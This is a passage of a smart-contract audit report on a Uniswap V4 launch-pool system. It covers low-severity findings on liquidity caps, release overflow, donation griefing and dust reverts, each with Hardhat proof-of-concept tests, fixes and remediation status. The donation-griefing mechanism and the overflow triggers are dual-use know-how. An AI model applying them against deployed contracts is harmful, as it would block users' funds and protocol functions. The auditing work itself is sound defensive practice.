        uint160 upper = TickMathLib.getSqrtRatioAtTick((TickMathLib.MAX_TICK / tickSpacing) * tickSpacing);
        return LiquidityAmountsLib.getLiquidityForAmounts(price, lower, upper, amount0, amount1);
    }
}
```

test/audit/L21DripTickCapacity.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { deployV4Hook } from "../../scripts/deploy-v4-hook";

// [L-21] Built-cap validation only checks the initial seed against int128.max.
// V4 caps cumulative liquidityGross per tick at uint128.max / numTicks, and the
// seed and every drip addition sit on the same two full-range boundary ticks.
// A seed that fits but leaves less room than the drip needs passes validation;
// later drip tranches revert with TickLiquidityOverflow and roll back.

const PLAZM_SUPPLY = 22_070_372_740_908_082_084_307_710n; // live Base totalSupply

describe("[L-21] PoC: seed validation ignores V4 per-tick liquidity reserved for the drip", function () {
  it("accepts a seed + 25% drip whose combined boundary liquidity exceeds maxLiquidityPerTick", async function () {
    const [deployer, launchManager, guardian] = await ethers.getSigners();
    const manager = await (await ethers.getContractFactory("MockV4PoolManager")).deploy();
    const weth = await (await ethers.getContractFactory("MockWETH")).deploy();
    const result = await deployV4Hook({
      poolManager: await manager.getAddress(), weth: await weth.getAddress(),
      launchManager: launchManager.address, backedRecipient: deployer.address,
      protocolAuthority: deployer.address, emergencyGuardian: guardian.address,
      tickSpacing: 60, // preflight default (V4_TICK_SPACING)
    });
    const factory: any = await ethers.getContractAt("LaunchPoolFactory", result.factory);
    const probe: any = await (await ethers.getContractFactory("V4TickCapProbe")).deploy();
    const Token = await ethers.getContractFactory("MockMintableToken");
    const token = await (await Token.deploy("Huge", "HUGE")).getAddress();
    const plazm = await (await Token.deploy("PLAZM", "PLAZM")).getAddress();

    const cap: bigint = await probe.maxLiquidityPerTick(60);

    // Best case for the creator: 10M PLAZM (~45% of all PLAZM) seeds the pool.
    // Full-range L ~ sqrt(token * plazm), so size the token side for L = 0.9 * cap.
    const initialPlazm = 10_000_000n * 10n ** 18n;
    const targetL = cap * 9n / 10n;
    const initialTokens = targetL * targetL / initialPlazm;
    // 25% drip: same price, a third of the initial amounts on top.
    const dripTokens = initialTokens / 3n;
    const dripPlazm = initialPlazm / 3n;

    const order = (a: bigint, b: bigint) => (BigInt(token) < BigInt(plazm) ? [a, b] : [b, a]);
    const price: bigint = await factory.initialSqrtPriceX96ForPair(token, plazm, initialTokens, initialPlazm);
```

```
    const seedL: bigint = await probe.fullRangeLiquidity(60, price, ...order(initialTokens, initialPlazm));
    const dripL: bigint = await probe.fullRangeLiquidity(60, price, ...order(dripTokens, dripPlazm));

    // What _validateBuiltCap delegates to: passes for the seed...
    await factory.validateSeedBudgetForPair(token, plazm, initialTokens, initialPlazm);
    // ...and even for the whole LP budget, because only int128.max is checked.
    await factory.validateSeedBudgetForPair(token, plazm, initialTokens + dripTokens, initialPlazm + dripPlazm);

    expect(seedL).to.be.lte(cap);              // seed lands
    expect(seedL + dripL).to.be.gt(cap);       // drip tranches overflow the boundary ticks
    const headroom = cap - seedL;
    expect(headroom).to.be.lt(dripL);
    expect(initialPlazm).to.be.lt(PLAZM_SUPPLY);

    console.log("      maxLiquidityPerTick (ts=60)  :", cap.toString());
    console.log("      seed liquidity               :", seedL.toString(), `(${seedL * 100n / cap}% of cap)`);
    console.log("      drip liquidity (25% drip)    :", dripL.toString());
    console.log("      boundary headroom for drip   :", headroom.toString(), `(${headroom * 100n / dripL}% of drip)`);
    console.log("      project tokens in seed       :", (initialTokens / 10n ** 18n).toString());
    console.log("      PLAZM in seed                :", (initialPlazm / 10n ** 18n).toString(), "of", (PLAZM_SUPPLY / 10n **
18n).toString(), "total");
  });
});
```

Recommendation

1. **Validate the whole LP budget against the per-tick limit.** In `_validateBuiltCap`, compute full-range liquidity for initial plus maximum drip at each stress endpoint. Require it to stay below `maxLiquidityPerTick`, with a margin for the project-support liquidity executor, which is also authorized on the boundary ticks.

```
function maxLiquidityPerTick() public view returns (uint128) {
    uint24 numTicks = uint24((maxUsableTick - minUsableTick) / tickSpacing) + 1;
    return type(uint128).max / numTicks;
}

// in _validateSeedBudget (or a new validateFullLpBudget used by _validateBuiltCap)
require(liquidity <= maxLiquidityPerTick() / 2, "Factory: boundary tick capacity");
```

1. **Simpler alternative:** bound `config.totalSupply` in `validateAndResolve`, for example at 1e30 raw. That removes this class and the degenerate-supply precondition behind L-18 (#31) together.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `maxLiquidityPerTick = uint128.max / (floor(MAX_TICK/s) + ceil(MAX_TICK/s) + 1)` matches v4-core `tickSpacingToMaxLiquidityPerTick`.
- `validateBoundaryCapacityForPair` keeps full-range liquidity for seed plus maximum drip at or below half the cap, at all three quote endpoints, leaving the other half for support liquidity.

Note (informational): the drip's real counter amount comes from conversions at market price, not the endpoint quote, so a counter-asset price drop beyond the slippage band raises liquidity by about the square root of the drop. The 2x reserve absorbs moderate moves, and with the 1e34 supply cap PLAZM pairs stay far below the cap (sqrt(1e34 · 2.2e25) ≈ 4.7e29 vs ~1.15e34). Only very large-supply Build-on-Asset counters get close.

[L-06] Full-position LP release reverts once accumulated amounts exceed V4's int128 delta

Severity: Low
Source finding: `L-22`
Source issue: #36 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Low–Medium, Likelihood: Low)
Confidence	High (code confirmed; Hardhat PoC on the real `LaunchPoolFactory` passes)
Location	`LaunchPoolFactory.sol:releaseLiquidity` (:567-611) / `_releaseLiquidity` (:691-); accumulation via `_seedLiquidity` (seed and `addDripLiquidity` additions)
Class	DeltaAccounting (V0)
Sources	External finding, verified against commit `213a6db`
PoC	`test/audit/L22ReleaseDeltaOverflow.test.ts` (passes)

What's wrong

A launch's initial seed, its drip additions and any project-executor additions all go into one V4 position owned by the factory. Each addition is small enough for V4's signed amount limit on its own. Release, however, always pulls the whole position out in a single call. If the combined position holds more than V4 can express as a signed 128-bit amount of either currency, the release reverts and the creator gets nothing until the pool price moves enough to bring the amount back under the limit.

How (mechanism)

`releaseLiquidity` unlocks the pool manager with `ACTION_RELEASE` and **`liquidity: launchPool.liquidity`**, the entire accumulated position. `_seedLiquidity` only bounds each addition's liquidity at `int128.max`, and V4 bounds each addition's amounts the same way. Nothing bounds the accumulated amounts that one full removal returns. On removal, v4-core `Pool.modifyLiquidity` computes `getAmount0Delta` / `getAmount1Delta` for the whole position and casts each with `SafeCast.toInt128`. That reverts with `SafeCastOverflow()` when either currency exceeds `2^127 − 1 ≈ 1.7e38` raw, which unwinds the `released` flag and the payout. The factory has no partial or bounded release. The amounts depend on the price at release, so moving the price can bring release back: this is a liveness failure, not a permanent loss.

Impact

- **Creator (LP recipient):** after the lock ends, the creator can't withdraw the LP principal or the fees bundled into the release. It stays stuck until the price moves the overflowing side back under `int128.max`. Pushing it back means buying project tokens out of the pool.

- **Threshold:** one currency must exceed about 1.7e38 raw. Launch tokens have 18 decimals and all PLAZM in existence is only 2.2e25 raw, so it is always the project token. That needs **about 1.7e20 project tokens (170 quintillion)** in the pool, so a `totalSupply` at least that large. Real launches use roughly 1e9–1e15 tokens. Once the supply is that large, ordinary sells push the token side up, so trading alone can tip a pool over the limit.
- **Scope note:**
- The supply is chosen by the creator, and the creator is the recipient, so most of the harm is self-inflicted.
- The LP stays in the pool and can still be traded against.
- Standard-mode launches use the same full-position release, so they are affected too, without any drip.

Severity rationale: - **Impact Low–Medium:** the creator's own principal is delayed, and it is recoverable through price. - **Likelihood Low:** it needs a supply of at least 1e20 tokens. - That gives **Low**. Code4rena or Sherlock judges would probably treat it as input validation or a creator-only issue (QA / Informational).

Proof of Concept

The test drives the real `LaunchPoolFactory` (through `deployV4Hook`, tick spacing 60) with `MockV4PoolManager`. That mock also rejects a removal whose payout exceeds `int128.max` (`MockV4PoolManager.sol:378-379`), the stand-in for v4-core's `SafeCastOverflow`. It records principal rather than pricing it, so it doesn't model the "price move restores release" case. The steps: 1. Create and seed a Built-on-Plazm pool with **1.0e38 raw** project tokens and 1M PLAZM. That is below `int128.max`. 2. Wait 30 minutes, then add a drip tranche of **0.8e38 raw** tokens and 0.8M PLAZM through the authorized drip. Also below `int128.max`, and `DripLiquidityAdded` is emitted. 3. The position now holds **1.8e38 raw** tokens, above `int128.max`, while its liquidity is about 1.8e31, well within bounds. 4. After `unlockTime`, an outsider's `releaseLiquidity(0)` reverts. `released` stays false, the creator receives nothing, and `releaseLiquidity` is the only release function.

```
  [L-22] PoC: full-position release overflows V4's signed delta
      int128.max                    : 170141183460469231731687303715884105727
      seed tokens (raw)             : 100000000000000000000000000000000000000
      drip tokens (raw)             : 80000000000000000000000000000000000000
      position tokens at release    : 180000000000000000000000000000000000000
      position liquidity            : 17999200000000000000000097830
    ✔ seed + drip each fit int128, but releasing the combined position reverts

  1 passing
```

test/audit/L22ReleaseDeltaOverflow.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { deployV4Hook, LAUNCH_MODES } from "../../scripts/deploy-v4-hook";

// [L-22] Seed and drip additions accumulate in one factory-owned V4 position.
// Each addition fits V4's int128 amount limit, but releaseLiquidity() always
// removes the whole position in one modifyLiquidity call. Once either currency
// in the position exceeds int128.max (~1.7e38 raw, ~1.7e20 tokens), V4 reverts
// the removal (SafeCastOverflow in v4-core; `MockV4: payout too large` in the
// repo mock), the release rolls back, and no partial-release path exists.

const INT128_MAX = (1n << 127n) - 1n;
const DAY = 24 * 60 * 60;

describe("[L-22] PoC: full-position release overflows V4's signed delta", function () {
  it("seed + drip each fit int128, but releasing the combined position reverts", async function () {
    const [deployer, launchManager, guardian, outsider] = await ethers.getSigners();
    const manager: any = await (await ethers.getContractFactory("MockV4PoolManager")).deploy();
    const weth = await (await ethers.getContractFactory("MockWETH")).deploy();
    const result = await deployV4Hook({
```

```
      poolManager: await manager.getAddress(), weth: await weth.getAddress(),
      launchManager: launchManager.address, backedRecipient: deployer.address,
      protocolAuthority: deployer.address, emergencyGuardian: guardian.address, tickSpacing: 60,
    });
    const factory: any = await ethers.getContractAt("LaunchPoolFactory", result.factory);
    const drip: any = await (await ethers.getContractFactory("MockLiquidityDripCaller")).deploy();
    await factory.configureLiquidityDrip(await drip.getAddress());

    const Token = await ethers.getContractFactory("MockMintableToken");
    const project: any = await Token.deploy("Huge", "HUGE");
    const plazm: any = await Token.deploy("PLAZM", "PLAZM");
    const tokenAddr = await project.getAddress();
    const counterAddr = await plazm.getAddress();

    const initData = ethers.AbiCoder.defaultAbiCoder().encode(
      ["tuple(uint24 backedPips,uint24 creatorPips,uint24 supportPips,uint24 lpPips,bool configured)", "address", "address",
"address"],
      [[2000, 2500, 4000, 1500, false], deployer.address, guardian.address, deployer.address],
    );

    // Seed: 1.0e38 raw project tokens (1e20 tokens) + 1M PLAZM. Fits int128.
    const seedTokens = 10n ** 38n;
    const seedCounter = 10n ** 24n;
    expect(seedTokens).to.be.lt(INT128_MAX);
    await drip.create(result.factory, 0, tokenAddr, counterAddr, LAUNCH_MODES.BuiltOnPlazm,
      result.hook, seedTokens, seedCounter, initData);
    await project.mint(result.factory, seedTokens);
    await plazm.mint(result.factory, seedCounter);
    const unlockTime = (await time.latest()) + 365 * DAY;
    await drip.seed(result.factory, 0, tokenAddr, counterAddr, seedTokens, seedCounter, deployer.address, unlockTime);
    await time.increase(30 * 60);

    // Drip: 0.8e38 raw project tokens + 0.8M PLAZM at the same price. Fits int128.
    const dripTokens = 8n * 10n ** 37n;
    const dripCounter = 8n * 10n ** 23n;
    expect(dripTokens).to.be.lt(INT128_MAX);
    await project.mint(await drip.getAddress(), dripTokens);
    await plazm.mint(await drip.getAddress(), dripCounter);
    await drip.approve(tokenAddr, result.factory, ethers.MaxUint256);
    await drip.approve(counterAddr, result.factory, ethers.MaxUint256);
    const key = await factory.buildPoolKeyWithCounter(tokenAddr, counterAddr, result.hook);
    await manager.setPoolTick({ currency0: key.currency0, currency1: key.currency1, fee: key.fee,
      tickSpacing: key.tickSpacing, hooks: key.hooks }, 0);
    await expect(drip.add(result.factory, 0, tokenAddr, counterAddr, dripTokens, dripCounter))
      .to.emit(factory, "DripLiquidityAdded");

    const pool = await factory.getLaunchPool(0);
    const tokenIs0 = BigInt(tokenAddr) < BigInt(counterAddr);
    const positionTokens: bigint = tokenIs0
      ? await manager.positionAmount0(pool.poolId) : await manager.positionAmount1(pool.poolId);
    expect(positionTokens).to.be.gt(INT128_MAX);
    expect(pool.liquidity).to.be.lte(INT128_MAX);

    // LP lock matures; anyone may release, but the single full removal reverts.
    await time.increaseTo(unlockTime);
    await expect(factory.connect(outsider).releaseLiquidity(0)).to.be.revertedWith(
      tokenIs0 ? "MockV4: payout0 too large" : "MockV4: payout1 too large",
    );
    const after = await factory.getLaunchPool(0);
    expect(after.released).to.equal(false);
    expect(await project.balanceOf(deployer.address)).to.equal(0n);

    // No partial / bounded release entry point exists.
    const names = factory.interface.fragments.filter((x: any) => x.type === "function").map((x: any) => x.name);
    expect(names.filter((n: string) => /release/i.test(n))).to.deep.equal(["releaseLiquidity"]);

    console.log("      int128.max                    :", INT128_MAX.toString());
    console.log("      seed tokens (raw)             :", seedTokens.toString());
    console.log("      drip tokens (raw)             :", dripTokens.toString());
```

```
    console.log("      position tokens at release     :", positionTokens.toString());
    console.log("      position liquidity             :", pool.liquidity.toString());
  });
});
```

Recommendation

1. **Add a bounded partial release.** Anyone can call it after `unlockTime`, it always pays the recorded `creator`, and it removes a slice sized so neither currency delta exceeds `int128.max`. The position is marked `released` only once its liquidity reaches zero.

```
function releaseLiquidityPartial(uint256 launchId, uint128 liquidityToRemove)
    external nonReentrant returns (uint256 tokenAmount, uint256 counterAmount)
{
    LaunchPool storage launchPool = _launchPools[launchId];
    require(launchPool.seeded && !launchPool.released, "Factory: not releasable");
    require(block.timestamp >= launchPool.unlockTime, "Factory: liquidity locked");
    require(liquidityToRemove > 0 && liquidityToRemove <= launchPool.liquidity, "Factory: bad slice");
    launchPool.liquidity -= liquidityToRemove;
    if (launchPool.liquidity == 0) {
        launchPool.released = true;
        launchPool.releasedAt = uint64(block.timestamp);
    }
    // unlock with ACTION_RELEASE and `liquidity: liquidityToRemove`, recipient launchPool.creator;
    // accumulate tokenReleased / counterReleased.
}
```

Callers size the slice off-chain. V4's own `SafeCast` revert guarantees that an oversized slice simply reverts.

1. **Alternatively, cap `config.totalSupply`** in `LaunchEconomicsPolicy.validateAndResolve`, for example at 1e37 raw (1e19 tokens). That rules out this finding and the degenerate-supply preconditions behind L-18 (#31) and L-21 (#35) together. A 1e30 cap, as suggested in L-21, also covers this one.

2. If partial releases are added, **make the drip's "released" checks (L-19, #33) key on full release**, so a partial release doesn't cut off drip additions before the position is fully withdrawn.

Status

Partially Mitigated. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed for the project-token side.

- `MAX_TOTAL_SUPPLY = 1e34` in `LaunchEconomicsPolicy` bounds every project-token amount far below int128.max. Our original PoC still reproduces only because it seeds the factory directly with 1e38 tokens; that isn't reachable through `createLaunch`.
- The counter side relies on WETH, PLAZM and each Build-on-Asset counter having supply below int128.max, which is documented but not enforced.

Suggestion (informational): enforce it at registration in `BuildAssetRegistry.configureBuildAsset`, e.g. `require(IERC20(asset).totalSupply() <= uint128(type(int128).max))`. A mintable asset can still grow later, so this is a guardrail, not a guarantee.

[L-07] Donation-credited fees make ProjectSupportExecutor liquidity adds revert on a positive delta

Severity: Low
Source finding: `L-23`
Source issue: #38 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Low, Likelihood: Medium)
Confidence	Medium (executor behaviour PoC'd; V4 fee netting traced through v4-core, as in #27)
Location	`ProjectSupportExecutor.sol:unlockCallback` (:465-481), shared salt at `_addPermanentLiquidity` (:577)
Class	DeltaAccounting (V0)
Sources	External report `backedfund-contracts-stage2-r2-20261016-151629/2026-10-17_core.md` (L-04), verified against commit `213a6db`
Related	#27 (L-15): the same V4 fee-netting mechanism in `LaunchPoolFactory.addDripLiquidity`, but a different contract and a separate fix
PoC	`test/audit/L23SupportDonationDelta.test.ts` (passes)

What's wrong

Every liquidity-support tranche is added to the same permanent position in the project's pool. Uniswap V4 nets any fees that position has earned into the result of each new addition, and anyone can create such fees by donating to the pool. The executor rejects an addition that comes back net positive instead of collecting it. So a donation larger than one side of the next tranche makes liquidity support revert until a big enough tranche comes along.

How (mechanism)

`unlockCallback` (ACTION_ADD_LIQUIDITY) calls `poolManager.modifyLiquidity` on the full-range position with salt `keccak256("BACKED_LP_SUPPORT", launchId)` every time (:468-478, :577). In v4-core, the returned `callerDelta` is principal plus `feesAccrued` for that position. The hook pins the LP fee to zero, so only `PoolManager.donate`, which is unrestricted (the hook enables no donate callbacks), can create fees. When a donation credits the position more than a tranche's principal on one side, that leg is positive and **`require(delta0 <= 0 && delta1 <= 0)`** (:481) reverts `SupportExecutor: invalid liquidity delta`. The fees stay on the position, so every later tranche whose principal on that side is below them reverts the same way. A larger tranche succeeds and nets the fees into `used0` / `used1`. The unused input then goes to `queuedLiquidityDust` (:396-397), back into the project's own budget, which is harmless.

Impact

- **Project liquidity support:** a donor can block `executeLiquiditySupport` and the automatic support path for as long as the position's accrued fees exceed one tranche's principal on either side. The controller's automatic path is wrapped in try/catch and emits `AutomaticLiquiditySupportFailed` (`ProjectSupportController.sol:817`), and the balances stay queued.
- **No loss:** the donor pays for the grief, and the executor's share of the donation ends up in the project's own liquidity budget.
- **Severity:** Impact Low (a temporary halt of a support path, with no loss) × Likelihood Medium (permissionless, but costs the attacker the donation) gives **Low**.

Proof of Concept

`MockProjectSupportPoolManager.setLiquidityDeltas` makes the mock return the V4-equivalent `callerDelta` = principal + accrued fees. The test runs the real `ProjectSupportExecutor.unlockCallback` on the salted position with 1,500 token0 of donation fees accrued: - **A tranche of 1,000 / 1,000:** the delta is (+500, −1,000), and the add reverts `invalid liquidity delta`. - **A tranche of 1,499 / 1,499:** reverts the same way. - **A tranche of 2,000 / 2,000:** succeeds. The executor settles only 500 token0, and the 1,500 of fees stay as executor-held budget.

```
  [L-23] PoC: donation-credited fees make support liquidity adds revert
      accrued donation fees (token0) : 1500
      adds with principal <= fees    : revert 'invalid liquidity delta'
      add with principal 2,000       : settles 500 token0; 1,500 fees absorbed as budget
    ✔ positive callerDelta from accrued fees reverts the add; larger adds absorb the fees as budget

  1 passing
```

test/audit/L23SupportDonationDelta.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";

// [L-23] ProjectSupportExecutor adds every liquidity-support tranche to the same
// salted full-range position. In V4, modifyLiquidity's callerDelta is principal
// PLUS the position's accrued fees, and PoolManager.donate is unrestricted (the
// hook enables no donate callbacks). A donation that credits the position more
// than one leg's principal makes delta > 0, which unlockCallback rejects instead
// of taking. The mock manager below returns the V4-equivalent callerDelta.

const ACTION_ADD_LIQUIDITY = 1;

describe("[L-23] PoC: donation-credited fees make support liquidity adds revert", function () {
  it("positive callerDelta from accrued fees reverts the add; larger adds absorb the fees as budget", async function () {
    const Token = await ethers.getContractFactory("MockMintableToken");
    const usdc: any = await Token.deploy("USD Coin", "USDC");
    const weth: any = await Token.deploy("Wrapped Ether", "WETH");
    const intermediate: any = await Token.deploy("Eshare", "ESHARE");
    const plazm: any = await Token.deploy("Plazm", "PLAZM");
    const project: any = await Token.deploy("Project", "PRJ");
    const manager: any = await (await ethers.getContractFactory("MockProjectSupportPoolManager")).deploy();
    const catalog = await (await ethers.getContractFactory("MockLaunchPoolCatalog")).deploy();
    const hook = await (await ethers.getContractFactory("MockProjectSupportHook")).deploy();
    const quoter = await (await ethers.getContractFactory("MockV4Quoter")).deploy();
    const v3Router = await (await ethers.getContractFactory("MockERC20SwapRouter02")).deploy();
    const guard = await (await ethers.getContractFactory("MockProjectSupportRouteGuard")).deploy(
      await usdc.getAddress(), await weth.getAddress(), await intermediate.getAddress(), await plazm.getAddress());
    const controller: any = await (await ethers.getContractFactory("MockSupportExecutorCaller")).deploy();
    const executor: any = await (await ethers.getContractFactory("ProjectSupportExecutor")).deploy(
```

```
      await controller.getAddress(), await catalog.getAddress(), await manager.getAddress(), await v3Router.getAddress(),
      await quoter.getAddress(), await guard.getAddress(), await usdc.getAddress(), await weth.getAddress(),
      await intermediate.getAddress(), await plazm.getAddress());
    const target = await executor.getAddress();

    const a = await project.getAddress(), b = await weth.getAddress();
    const [c0, c1] = BigInt(a) < BigInt(b) ? [a, b] : [b, a];
    const asset0: any = c0 === a ? project : weth;
    const asset1: any = c1 === a ? project : weth;
    const key = [c0, c1, 1n << 23n, 60, await hook.getAddress()];
    const salt = ethers.solidityPackedKeccak256(["string", "uint256"], ["BACKED_LP_SUPPORT", 1]);
    const add = (amount0: bigint, amount1: bigint, liquidity: bigint) => ethers.AbiCoder.defaultAbiCoder().encode(
      ["tuple(uint8,tuple(address,address,uint24,int24,address),address,address,uint256,uint256,uint256,uint256,uint128,bytes32)"],
      [[ACTION_ADD_LIQUIDITY, key, ethers.ZeroAddress, ethers.ZeroAddress, 0n, 0n, amount0, amount1, liquidity, salt]],
    );

    // Existing position earned F0 = 1,500 token0 from an attacker's donate().
    const fees0 = 1_500n;
    // Next tranche: principal 1,000 / 1,000 -> V4 callerDelta = (-1,000 + 1,500, -1,000) = (+500, -1,000).
    await manager.setLiquidityDeltas(-1_000n + fees0, -1_000n, true);
    await expect(manager.callUnlockCallback(target, add(1_000n, 1_000n, 1_000n)))
      .to.be.revertedWith("SupportExecutor: invalid liquidity delta");

    // Every tranche whose token0 principal is below the accrued fees reverts the same way.
    await manager.setLiquidityDeltas(-1_499n + fees0, -1_499n, true);
    await expect(manager.callUnlockCallback(target, add(1_499n, 1_499n, 1_499n)))
      .to.be.revertedWith("SupportExecutor: invalid liquidity delta");

    // A tranche larger than the fees goes through, but the fees are netted into
    // "used": the executor settles only 500 token0 for a 2,000 principal.
    await manager.setLiquidityDeltas(-2_000n + fees0, -2_000n, true);
    await asset0.mint(target, 2_000n);
    await asset1.mint(target, 2_000n);
    await manager.callUnlockCallback(target, add(2_000n, 2_000n, 2_000n));
    expect(await asset0.balanceOf(target)).to.equal(1_500n); // fees stay as executor-held budget

    console.log("      accrued donation fees (token0) :", fees0.toString());
    console.log("      adds with principal <= fees    : revert 'invalid liquidity delta'");
    console.log("      add with principal 2,000       : settles 500 token0; 1,500 fees absorbed as budget");
  });
});
```

Recommendation

1. **Accept positive legs by taking them.** In `unlockCallback`, `take` any positive leg of `liquidityDelta` (accrued fees) into the executor and add it to `queuedLiquidityDust`, instead of reverting:

```
int128 delta0 = _amount0(liquidityDelta);
int128 delta1 = _amount1(liquidityDelta);
if (delta0 > 0) poolManager.take(pending.key.currency0, address(this), uint128(delta0));
if (delta1 > 0) poolManager.take(pending.key.currency1, address(this), uint128(delta1));
uint256 used0 = delta0 < 0 ? uint256(int256(-delta0)) : 0;
uint256 used1 = delta1 < 0 ? uint256(int256(-delta1)) : 0;
// return taken fees to the caller so addLiquiditySupport queues them as budget
```

1. **Alternatively, collect fees separately.** Call `modifyLiquidity` with `liquidityDelta = 0` first to collect fees separately, then add principal. Apply the same fix as #27 so both V4 position owners handle donation fees the same way.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `unlockCallback` separates principal (`fees - callerDelta`, required >= 0 and <= budget) from `feesAccrued` (>= 0) and settles or takes only the net delta. The combined sign check (OR of the int256 terms >= 0) is correct.
- The net delta (unused input plus fees from the project's own salted position) goes to that project's `queuedLiquidityDust`.
- `_spotTick` reads PoolManager slot 6 with the tick at bit 160, which matches v4-core's `StateLibrary.POOLS_SLOT` layout; capping liquidity at the live tick range is conservative.
- Our original PoC simulated the delta and doesn't exercise the executor; the team's 6 unit cases and the real-PoolManager Base-fork `donate` test cover it.

[L-08] A 1-unit reinvest remainder on a 0%-reinvest Custom strategy reverts the whole yield claim

Severity: Low
Source finding: `L-24`
Source issue: #39 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Low, Likelihood: Medium)
Confidence	High (Hardhat PoC with the real `TreasuryVault`, `UniversalBondsAdapter` and `ProjectSupportV3TwapGuard` passes)
Location	`TreasuryVault.sol:claimAndRoute` (:221, :235-238); `ProjectSupportV3TwapGuard.sol:minimumCounterOut` (:96-112, `_quoteAfterFee` :160-)
Class	DeltaAccounting (V0)
Sources	External report `backedfund-contracts-stage2-r2-20261016-151629/2026-10-17_core.md` (L-05), verified against commit `213a6db`
Related	#29 (L-17) is the opposite case on the same leg: a reinvest share *above* capacity
PoC	`test/audit/L24ReinvestDustZeroQuote.test.ts` (passes)

What's wrong

A project can choose a custom yield split with 0% reinvestment, and the vault accepts it. The vault still sends the rounding leftover of each split through the reinvestment swap. When that leftover is exactly one base unit of USDC, the price guard can't quote it and reverts. That revert unwinds the whole claim, so the creator, growth treasury, buy-and-burn and liquidity legs all get nothing until the accrued amount changes.

How (mechanism)

`claimAndRoute` computes `reinvestAmount = strategyBase - creatorAmount - buyBurnAmount - liquidityAmount` (:221). With `reinvestBps == 0` that is the floor remainder of the other legs (0, 1 or 2 units), and any non-zero value goes to `bondAdapter.reinvestYield` (:235-238). `reinvestYield` asks `routeGuard.minimumCounterOut(STANDARD_MODE, usdcAmount, 150)`. The guard's `_quoteAfterFee` applies the 500-pip pool fee to the input first, `1 × 999,500 / 1,000,000 = 0`, so `expected == 0` and **`require(expected > 0, "SupportGuard: zero quote")`** reverts. `TreasuryVault._validateStrategy` (:357-364) and `LaunchEconomicsPolicy.resolveStrategy` accept `reinvestBps == 0` on the Custom route. With a 50/50 two-leg split, every odd `strategyBase` leaves a remainder of exactly 1.

Impact

- **Creator / growth treasury / buy-burn / liquidity:** every claim whose remainder is 1 unit reverts, so no leg is paid. Accrual stays intact, and the next harvest changes the amount, so the distribution is **delayed, not lost**.
- **Who's exposed:** Custom-route vaults with `reinvestBps == 0`, which is the only configuration whose reinvest leg is pure dust. With a 50/50 split, about half of all claims revert.
- **Scope note:** the controller's automatic claim (`_attemptTreasuryYieldClaim`) is wrapped in try/catch, so buy-burn execution keeps running. Only the yield distribution stalls.
- **Severity:** Impact Low (a delay with no loss) × Likelihood Medium (a deterministic trigger on an accepted configuration) gives **Low**.

Proof of Concept

The test uses the real `TreasuryVault` and the real `UniversalBondsAdapter` wired to the real `ProjectSupportV3TwapGuard`, on a healthy mock USDC/WETH 0.05% pool: 1. The vault initializes with Custom `{buyBurn 5000, creator 5000, reinvest 0, liquidity 0}`, and the strategy is accepted. 2. The guard quotes 2 units of USDC but reverts on 1. 3. A claim of 1,000,001 micro-USDC leaves a growth cut of 20,000 and a `strategyBase` of 980,001, which splits into 490,000 + 490,000 + remainder **1**. The claim reverts `SupportGuard: zero quote`, and creator, growth and buy-burn all receive 0. 4. **Control:** after one more unit of yield, the remainder is 0 and every leg pays.

```
  [L-24] PoC: 1-unit reinvest remainder reverts the whole yield claim
      claim 1,000,001 -> reinvest remainder 1 : reverted 'SupportGuard: zero quote'
      creator / growth / buy-burn paid        : 0 / 0 / 0
      claim 1,000,002 -> remainder 0          : routed, creator paid 490001
    ✔ Custom 50/50 split with 0% reinvest: odd strategyBase blocks every leg

  1 passing
```

test/audit/L24ReinvestDustZeroQuote.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";

// [L-24] With reinvestBps == 0 (Custom), claimAndRoute still sends the floor
// remainder through reinvestYield. A 1-unit remainder hits the real
// ProjectSupportV3TwapGuard, whose fee-first quote floors 1 * (1e6-500)/1e6 to 0
// and reverts "SupportGuard: zero quote", unwinding the entire claim.

const custom = { buyBurnBps: 5_000, creatorBps: 5_000, reinvestBps: 0, liquidityBps: 0 };
const CUSTOM_ROUTE = 5;

describe("[L-24] PoC: 1-unit reinvest remainder reverts the whole yield claim", function () {
  it("Custom 50/50 split with 0% reinvest: odd strategyBase blocks every leg", async function () {
    const [protocolAuthority, administrator, growth, creator, outsider] = await ethers.getSigners();
    const rewardPool: any = await (await ethers.getContractFactory("MockUniversalRewardPool")).deploy();
    const bonds: any = await (await ethers.getContractFactory("MockUniversalNFTBonds")).deploy(
      await rewardPool.getAddress(), growth.address,
    );
    await rewardPool.setBonds(await bonds.getAddress());
    const weth: any = await (await ethers.getContractFactory("MockWETH")).deploy();
    const usdcAddress = await rewardPool.rewardToken();
    const usdc: any = await ethers.getContractAt("MockUSDC", usdcAddress);

    // Real ProjectSupportV3TwapGuard on a healthy mock USDC/WETH 0.05% pool.
    const plazmSource: any = await (await ethers.getContractFactory("MockRecurringGuardSource"))
      .deploy(await weth.getAddress(), "0xA1FBB38bF486b97108aA87E92008187CA06998f6", ethers.id("route"));
    const v3Factory: any = await (await ethers.getContractFactory("MockUniswapV3Factory")).deploy();
    const pool: any = await (await ethers.getContractFactory("MockUniswapV3OraclePool"))
```

```
      .deploy(usdcAddress, await weth.getAddress(), 500, 10);
    const tick = BigInt(usdcAddress) < BigInt(await weth.getAddress()) ? 200 : -200;
    await pool.setState(ethers.parseEther("1000000"), tick, tick);
    await pool.setTickBitmap(0, 1);
    await v3Factory.setPool(usdcAddress, await weth.getAddress(), 500, await pool.getAddress());
    const guard: any = await (await ethers.getContractFactory("ProjectSupportV3TwapGuard")).deploy(
      await v3Factory.getAddress(), usdcAddress, await weth.getAddress(), 500, await plazmSource.getAddress(),
    );

    const swapRouter: any = await (await ethers.getContractFactory("MockUniversalSwapRouter"))
      .deploy(usdcAddress, await weth.getAddress());
    const adapter: any = await (await ethers.getContractFactory("UniversalBondsAdapter")).deploy(
      protocolAuthority.address, administrator.address, await bonds.getAddress(), await rewardPool.getAddress(),
      usdcAddress, await weth.getAddress(), await swapRouter.getAddress(), await guard.getAddress(),
    );

